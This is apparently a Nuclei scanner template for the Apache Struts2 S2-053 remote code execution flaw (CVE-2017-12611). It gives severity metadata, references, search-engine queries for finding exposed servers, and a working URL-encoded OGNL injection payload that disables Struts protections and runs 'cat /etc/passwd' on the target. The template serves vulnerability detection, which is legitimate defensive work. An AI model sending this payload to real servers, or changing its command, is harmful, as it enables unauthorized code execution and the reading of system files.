CVE-2017-12611: Apache Struts2 S2-053 - Remote Code Execution

id: CVE-2017-12611

info:
  name: Apache Struts2 S2-053 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
  impact: |
    Remote code execution
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
  reference:
    - https://struts.apache.org/docs/s2-053.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12611
    - https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001
    - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txt
    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12611
    cwe-id: CWE-20
    epss-score: 0.94295
    epss-percentile: 0.99934
    cpe: cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2017,apache,rce,struts

http:
  - method: POST
    path:
      - "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6d46c505502c0e35c19f0b0c53dfb653a13d0a63578cb1039c9a0149929ef6f022100ff73526294ff6aa51c76cbb87e321aaaf1d9e8717f41e879927604a007676b74:922c64590222798bb761d5b6d8e72950